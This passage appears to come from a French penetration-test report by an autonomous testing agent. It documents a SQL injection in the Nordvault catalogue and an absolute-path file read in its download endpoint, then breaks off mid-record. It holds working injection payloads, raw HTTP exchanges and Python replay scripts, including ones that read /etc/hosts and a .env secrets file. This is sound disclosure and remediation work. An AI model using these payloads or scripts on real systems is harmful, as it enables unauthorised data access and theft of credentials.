    https://app.nordvault.fr/catalogue?categorie=

    Score CVSS 3.1
    5.3
    Faiblesse (CWE)
    CWE-89
    Catégorie OWASP
    A03 · Injection

    Description

    Le paramètre categorie de GET /catalogue est inséré dans une requête SQL sans paramétrage. Un visiteur non authentifié peut modifier la condition de sélection et afficher un produit normalement absent du catalogue.

    Impact

    La preuve affiche le produit inactif « Agenda 2025 semainier » et sa référence PAP-AGENDA-2025 au moyen de OR 1=1, alors que sa fiche /produit/10 répond 404. La requête UNION SELECT confirme la possibilité de faire apparaître une ligne construite par l’attaquant et la version SQLite 3.46.1. Aucune donnée personnelle ni extraction d’autres tables n’a été démontrée ; aucune écriture en base n’a été tentée.

    Analyse technique

    La réponse à une apostrophe isolée révèle la forme de la requête serveur :

    SELECT id, name, price, sku FROM products WHERE category = 'papeterie'' AND active = 1

    Le caractère contrôlé par le client ferme le littéral category. AND 1=0-- supprime les résultats, tandis que OR 1=1-- neutralise la restriction de catégorie et le filtre active = 1. Une sélection UNION SELECT 999,sqlite_version(),0,'TEST'-- insère une ligne dans les quatre colonnes affichées. Les variations opposées et la version SQL effectivement évaluée établissent une injection, plutôt qu’un simple reflet HTML.

    Remédiation

    1. Remplacer l’interpolation de categorie par un paramètre lié dans la requête SQL, tout en conservant la condition active = 1 indépendante des entrées utilisateur. 2. Appliquer une liste de valeurs de catégories autorisées et répondre de manière contrôlée aux valeurs invalides. 3. Supprimer l’affichage de la requête SQL et des erreurs du moteur dans les réponses publiques ; journaliser les détails côté serveur. 4. Ajouter des tests opposant une catégorie normale aux caractères spéciaux, aux prédicats booléens et aux unions, ainsi que des tests garantissant qu’aucun produit inactif n’apparaît.

    Détails de remédiationEffort estimé: Faible

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

    Hypothèses de validation

    L’attaque requiert uniquement l’accès HTTP public à /catalogue ; les comparaisons ont été effectuées sans session. Le produit non actif est considéré comme une information non destinée au catalogue public parce que la requête normale impose active = 1 et que sa fiche directe renvoie 404.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    La forte hypothèse contraire serait que les données du catalogue soient volontairement publiques ou que les valeurs apparaissent uniquement par reflet de la chaîne recherchée. Cette explication ne couvre pas la ligne /produit/10, absente de la catégorie normale et inaccessible directement, ni l’évaluation de sqlite_version() à 3.46.1 dans une ligne UNION. Le filtre active = 1 existe dans la requête normale mais est commenté par la saisie ; l’étendue des données au-delà de cette table et les droits d’écriture n’ont pas été vérifiés.

    Preuve

    Requête / réponse

    Requête HTTP

    GET /catalogue?categorie=nonexistent%27+UNION+SELECT+999%2csqlite_version%28%29%2c0%2c%27TEST%27--+ HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:56 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=h9pcwm7PVjTA24CXaqei%2Fi7Me8h3DPQ1v%2FuCbnzcPXiKR%2Fqya86IXFyDTFHpJMRpzYmuUE507x2sIr2qKuOjZ%2FTKPBYZsh9zfpZgt7CGBL6j8UtXTo6Wq6RUQU4q%2BZnRgr4PvcDIJM2X"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b2126eeed265-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2777
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Catalogue - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Catalogue nonexistent&#x27; UNION SELECT 999,sqlite_version(),0,&#x27;TEST&#x27;-- </h1><table><thead><tr><th>Produit</th><th>Reference</th><th>Prix HT</th></tr></thead><tbody><tr><td><a href="/produit/999">3.46.1</a></td><td>TEST</td><td>0</td></tr></tbody></table><form action="/catalogue/recherche"><label for="cq">Filtrer le catalogue</label> <input id="cq" name="q"> <button>Filtrer</button></form></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b2126eeed265',t:'MTc5MTc2MTg3Ng=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Requête / réponse

    Requête HTTP

    GET /catalogue?categorie=papeterie HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:42 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=rj8D4FehpxVUEt%2FWMNbLY7ndIx5v4Nist%2FPe2PG1Z2okulO21AT4AI4OhXBp%2BouRAKF9p5yFrY5FZYD6%2Bj8FnR1y9V2mw%2F7prwZDFAymn9nWeuQNXG4N5owGSD6iUg1cYc3olGcaNVd%2B"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b1b94dac4db3-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2835
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Catalogue - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Catalogue papeterie</h1><table><thead><tr><th>Produit</th><th>Reference</th><th>Prix HT</th></tr></thead><tbody><tr><td><a href="/produit/1">Ramette papier A4 80g (500 f.)</a></td><td>PAP-A4-500</td><td>5.9</td></tr><tr><td><a href="/produit/2">Enveloppes C5 x100</a></td><td>PAP-ENV-C5</td><td>8.4</td></tr></tbody></table><form action="/catalogue/recherche"><label for="cq">Filtrer le catalogue</label> <input id="cq" name="q"> <button>Filtrer</button></form></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b1b94dac4db3',t:'MTc5MTc2MTg2Mg=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Requête / réponse

    Requête HTTP

    GET /catalogue?categorie=papeterie%27+OR+1%3d1--+ HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:46 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=rF0PflX91SGXF%2BPTIfbs2YZ7lNCItZAb3iMZtNwyAxURBZ8%2BYIV%2Fc1nRAiht%2FGT%2F1XowHWKC8kXuu2nLWshH%2Bcuu%2BWl3to0CqHY9dlB8ms0rcCSQzeCzmAmMgpnVFqhKfIc1UhcZP17I"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b1d28e44dbf3-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 3636
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Catalogue - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Catalogue papeterie&#x27; OR 1=1-- </h1><table><thead><tr><th>Produit</th><th>Reference</th><th>Prix HT</th></tr></thead><tbody><tr><td><a href="/produit/1">Ramette papier A4 80g (500 f.)</a></td><td>PAP-A4-500</td><td>5.9</td></tr><tr><td><a href="/produit/2">Enveloppes C5 x100</a></td><td>PAP-ENV-C5</td><td>8.4</td></tr><tr><td><a href="/produit/3">Chaise ergonomique Opale</a></td><td>MOB-CHA-ERG</td><td>189.0</td></tr><tr><td><a href="/produit/4">Bureau droit 140 cm</a></td><td>MOB-BUR-140</td><td>245.0</td></tr><tr><td><a href="/produit/5">Souris filaire USB</a></td><td>INF-SOU-USB</td><td>9.9</td></tr><tr><td><a href="/produit/6">Clavier AZERTY silencieux</a></td><td>INF-CLA-AZE</td><td>24.5</td></tr><tr><td><a href="/produit/7">Ecran 27 pouces QHD</a></td><td>INF-ECR-27</td><td>279.0</td></tr><tr><td><a href="/produit/8">Gel hydroalcoolique 500 ml</a></td><td>ENT-GEL-500</td><td>4.2</td></tr><tr><td><a href="/produit/9">Essuie-tout industriel x6</a></td><td>ENT-ESS-6</td><td>17.8</td></tr><tr><td><a href="/produit/10">Agenda 2025 semainier</a></td><td>PAP-AGE-2025</td><td>12.0</td></tr></tbody></table><form action="/catalogue/recherche"><label for="cq">Filtrer le catalogue</label> <input id="cq" name="q"> <button>Filtrer</button></form></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b1d28e44dbf3',t:'MTc5MTc2MTg2Ng=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Requête / réponse

    Requête HTTP

    GET /catalogue?categorie=papeterie%27+AND+1%3d0--+ HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:43 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=jT7ke1sMg8JBMvs%2BigyxNI6PfsXjaj1W0Ywn0k4QYVHNJMmJLvi6qppdA6fD2i2ByeCPWsFhZZY8jg%2BzWYujWK7FWTgahp4QAwpqdckAj7G3vBAhFtlFwqNsXdTlD9RC4uerolhNfoo2"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b1bd19cfde45-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2656
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Catalogue - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Catalogue papeterie&#x27; AND 1=0-- </h1><table><thead><tr><th>Produit</th><th>Reference</th><th>Prix HT</th></tr></thead><tbody></tbody></table><form action="/catalogue/recherche"><label for="cq">Filtrer le catalogue</label> <input id="cq" name="q"> <button>Filtrer</button></form></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b1bd19cfde45',t:'MTc5MTc2MTg2Mw=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Artefact d’exploitation

    Reproduction

    1. Envoyer sans authentification GET /catalogue?categorie=papeterie et constater deux produits.
    2. Envoyer la variante avec AND 1=0--  et constater qu’aucun produit ne figure dans le tableau.
    3. Envoyer la variante avec OR 1=1--  et constater dix produits, dont le lien /produit/10 et la référence PAP-AGENDA-2025.
    4. Vérifier que la fiche GET /produit/10 répond 404.
    5. Envoyer la variante UNION SELECT et constater la ligne /produit/999 affichant 3.46.1, TEST et 0.

    Artefact d’exploitation

    text/x-shellscript
    import requests
    from bs4 import BeautifulSoup
    
    base = "https://app.nordvault.fr"
    payloads = (
        "papeterie",
        "papeterie' AND 1=0-- ",
        "papeterie' OR 1=1-- ",
        "nonexistent' UNION SELECT 999,sqlite_version(),0,'TEST'-- ",
    )
    for payload in payloads:
        response = requests.get(base + "/catalogue", params={"categorie": payload}, allow_redirects=False, timeout=10)
        document = BeautifulSoup(response.text, "html.parser")
        rows = document.select("main tbody tr")
        print(repr(payload), response.status_code, len(rows), [row.get_text(" ", strip=True) for row in rows if "/produit/10" in str(row) or "/produit/999" in str(row)])
    print("fiche masquée", requests.get(base + "/produit/10", allow_redirects=False, timeout=10).status_code)

    Requête / réponse

    Requête HTTP

    GET /catalogue?categorie=papeterie%27 HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:46 GMT
    Content-Type: text/html; charset=utf-8
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=pawR9XNpXhcooLM8k%2FeqaW%2FGwetV60rZcKaNCdLlTncsiynAUqHvMsLnJLaBSTid5b5mh0dUSowtiMBmImnz697V935ZZdTHnoO%2BqMEErukmKQupLT%2F53qVVSjWgYgnLyb5McB5UGk3g"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b1d1fd98dc7a-FRA
    alt-svc: h3=":443"; ma=86400
    Content-Length: 2867
    
    <!doctype html>
    <html lang="fr"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Catalogue - Nordvault</title>
    <style>body{font-family:system-ui,sans-serif;max-width:960px;margin:0 auto;padding:0 16px;color:#1d2433}header,footer{display:flex;gap:14px;flex-wrap:wrap;padding:12px 0;border-bottom:1px solid #dde}footer{border-top:1px solid #dde;border-bottom:0;margin-top:40px;font-size:14px}table{border-collapse:collapse}td,th{border:1px solid #dde;padding:4px 8px}</style>
    </head><body>
    <header><strong><a href="/">Nordvault</a></strong>
    <nav aria-label="Principale"><a href="/catalogue">Catalogue</a> <a href="/recherche">Recherche</a> <a href="/support">Support</a> <a href="/aide">Aide</a> <a href="/newsletter">Newsletter</a> </nav>
    <span><a href="/connexion">Connexion</a> <a href="/inscription">Creer un compte</a></span></header>
    <main><h1>Catalogue papeterie&#x27;</h1><p role="alert">Erreur SQL : unrecognized token: &quot;&#x27;papeterie&#x27;&#x27; AND active = 1&quot; -- requete : SELECT id, name, price, sku FROM products WHERE category = &#x27;papeterie&#x27;&#x27; AND active = 1</p><table><thead><tr><th>Produit</th><th>Reference</th><th>Prix HT</th></tr></thead><tbody></tbody></table><form action="/catalogue/recherche"><label for="cq">Filtrer le catalogue</label> <input id="cq" name="q"> <button>Filtrer</button></form></main>
    <footer><a href="/telechargement?fichier=cgv.pdf">CGV</a> <a href="/telechargement?fichier=catalogue-2024.pdf">Catalogue PDF</a>
    <a href="/sortie?url=https://www.partenaire-papeterie.example/">Notre partenaire papeterie</a>
    <a href="/partenaires/sortie?url=https://www.transporteur-express.example/suivi">Suivi transporteur</a>
    <a href="/outils">Outils clients</a> <span>Nordvault SAS - fournitures de bureau pour les pros depuis 1998</span></footer>
    <script src="/static/app.js"></script>
    <script>(function(){function c(){var b=a.contentDocument||(a.contentWindow&&a.contentWindow.document);if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'a491b1d1fd98dc7a',t:'MTc5MTc2MTg2Ng=='};var a=document.createElement('script');a.src='/cdn-cgi/challenge-platform/scripts/jsd/main.js';document.getElementsByTagName('head')[0].appendChild(a);";b.getElementsByTagName('head')[0].appendChild(d)}}if(document.body){var a=document.createElement('iframe');a.height=1;a.width=1;a.style.position='absolute';a.style.top=0;a.style.left=0;a.style.border='none';a.style.visibility='hidden';document.body.appendChild(a);if('loading'!==document.readyState)c();else if(window.addEventListener)document.addEventListener('DOMContentLoaded',c);else{var e=document.onreadystatechange||function(){};document.onreadystatechange=function(b){e(b);'loading'!==document.readyState&&(document.onreadystatechange=e,c())}}}})();</script></body></html>

    Cette preuve provient de l’agent de test autonome et n’a pas été rejouée indépendamment.

  9. Moyenne

    9. Lecture arbitraire de fichiers par chemin absolu dans GET /telechargement

    https://app.nordvault.fr/telechargement?fichier=

    Score CVSS 3.1
    5.3
    Faiblesse (CWE)
    CWE-22
    Catégorie OWASP
    A01 · Contrôle d’accès défaillant

    Description

    Le paramètre fichier de GET /telechargement accepte un chemin absolu fourni par un visiteur non authentifié. Le téléchargement peut ainsi sortir du répertoire des documents et lire des fichiers de configuration de l’application.

    Impact

    Un visiteur non authentifié peut lire des fichiers accessibles au processus Web hors du répertoire des documents. La reproduction a obtenu le fichier système /etc/hosts et le fichier de configuration /var/www/nova/.env (143 octets), qui contient les clés APP_ENV, JWT_SECRET, DATABASE_URL et NOVA_AUDIT. La validité des secrets et une éventuelle falsification de jetons ou connexion à la base de données n’ont pas été testées ; elles ne sont pas incluses dans l’impact démontré.

    Analyse technique

    Le point d’entrée prend fichier comme nom de document à télécharger. Une valeur relative telle que cgv.pdf sert le PDF attendu. La valeur absolue %2fetc%2fhosts est néanmoins résolue directement comme /etc/hosts et renvoyée en texte brut, tandis que %2fvar%2fwww%2fnova%2f.env expose le fichier de configuration en dehors de /var/www/nova/public/docs/. Le traitement observé d’un chemin relatif ..%2frobots.txt sous /var/www/nova/public/docs/ ne limite donc pas les chemins absolus. Aucun cookie ni jeton n’est nécessaire pour ces requêtes.

    Remédiation

    1. Ne résoudre fichier qu’à partir d’une liste explicite de documents autorisés, idéalement par identifiant logique plutôt que par chemin fourni par le client. 2. Si la résolution par nom est nécessaire, refuser les chemins absolus et canoniquer le chemin final avant de vérifier qu’il reste strictement dans le répertoire documentaire configuré, y compris pour les liens symboliques. 3. Maintenir les fichiers de configuration hors des racines publiables et limiter les droits de lecture du processus Web ; renouveler les secrets exposés après analyse de leur usage.

    Détails de remédiationEffort estimé: Faible

    Vecteur CVSS

    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

    Hypothèses de validation

    Le téléchargement est accessible sans authentification sur l’hôte public. Seuls les fichiers lisibles par le processus Web peuvent être récupérés ; la portée exacte des permissions du système de fichiers n’a pas été cartographiée.

    Confiance déclarée par l’agent

    Élevée

    Contre-preuve examinée

    Les requêtes relatives ..%2frobots.txt restent résolues sous /var/www/nova/public/docs/, et un chemin absolu inexistant renvoie 404 ; cela limite certaines formes de traversée et prouve que tous les noms ne retournent pas un document. Toutefois, les deux fichiers réels situés hors du dossier autorisé retournent 200 sans authentification. La validité de JWT_SECRET et les effets de DATABASE_URL n’ont pas été évalués ; la gravité repose sur la lecture directe de fichiers confidentiels, et non sur une prise de contrôle supposée.

    Preuve

    Requête / réponse

    Requête HTTP

    GET /telechargement?fichier=%2fetc%2fhosts-nonexistent-validation HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 404 Not Found
    Date: Sun, 11 Oct 2026 23:37:21 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 56
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=e%2F8BFjNiAWJ0JLWomC3YL33bpu7BLdujFRtAVJWPf%2BIab2nIDXknPdp4I6ktWhsVGdHtYVmAZQu5HJqgfoz5EaOvELFGeOFMmWLZIpeN5WfuxecDR%2FoYTOlLYWWdF0ZQNPcXZlSJ%2BMAR"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b132d80fb19e-FRA
    alt-svc: h3=":443"; ma=86400
    
    Fichier introuvable : /etc/hosts-nonexistent-validation
    

    Requête / réponse

    Requête HTTP

    GET /telechargement?fichier=..%2frobots.txt HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 404 Not Found
    Date: Sun, 11 Oct 2026 23:37:21 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 59
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=SdMYQ4mqSwKluK%2Bv3fu6eTM9KVSPOT4T2KD6gqK8OWuVyXJS5cH2VEKCL4a8SEx%2FdHaOWysc41iec0tLCOcxlG5n%2B2%2FcQlNUykfEqM9ExJiz4WgFG0lj3IFU9xDnfZgA1uGv3RIkIJND"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b1336b508dfb-FRA
    alt-svc: h3=":443"; ma=86400
    
    Fichier introuvable : /var/www/nova/public/docs/robots.txt
    

    Artefact d’exploitation

    Reproduction

    1. Demander le document autorisé cgv.pdf pour établir la réponse normale.
    2. Demander %2fetc%2fhosts sans authentification et constater la réponse 200 contenant uniquement le marqueur non personnel 127.0.0.1 localhost.
    3. Demander un chemin absolu inexistant pour confirmer que l’application recherche bien le chemin transmis.
    4. Demander %2fvar%2fwww%2fnova%2f.env et ne vérifier que le statut, la longueur et les noms de clés, sans afficher ni conserver leurs valeurs.

    Artefact d’exploitation

    text/x-shellscript
    import requests
    
    base = "https://app.nordvault.fr/telechargement?fichier="
    paths = {
        "document": "cgv.pdf",
        "outside_root": "%2fetc%2fhosts",
        "missing": "%2fetc%2fhosts-nonexistent-validation",
        "config": "%2fvar%2fwww%2fnova%2f.env",
    }
    for label, path in paths.items():
        response = requests.get(base + path, timeout=10)
        print(label, response.status_code, len(response.content), response.headers.get("Content-Type"))
        if label == "outside_root":
            print("localhost marker:", b"127.0.0.1 localhost" in response.content)
        if label == "config":
            print("configuration keys:", [line.split(b"=", 1)[0].decode("ascii", "replace") for line in response.content.splitlines() if b"=" in line])

    Requête / réponse

    Requête HTTP

    GET /telechargement?fichier=%2fetc%2fhosts HTTP/1.1
    Host: app.nordvault.fr
    User-Agent: curl/8.20.0
    Accept: */*
    
    

    Réponse HTTP

    HTTP/1.1 200 OK
    Date: Sun, 11 Oct 2026 23:37:21 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 72
    Connection: keep-alive
    Cache-Control: no-store
    Server: cloudflare
    cf-cache-status: DYNAMIC
    Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=CY7x6xi4fNqjNThbplf7PrMQ6aNkVPFNUfJ%2F5ldljPq8Lvtu%2F0uyo%2BpTZ2vPF36LcASd43p7xpQw6VandakreZQ0dna5kyCZpRTDsHVVY8RtOA3MfxzPqDyZ4djk35361wPIrC%2FlU1Ht"}]}
    Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
    CF-RAY: a491b1321ad6bba3-FRA
    alt-svc: h3=":443"; ma=86400
    
    127.0.0.1 localhost
    10.0.12.4 nova-web-01
    10.0.12.9 admin.nova.internal
    

    Requête / réponse

    Requête HTTP

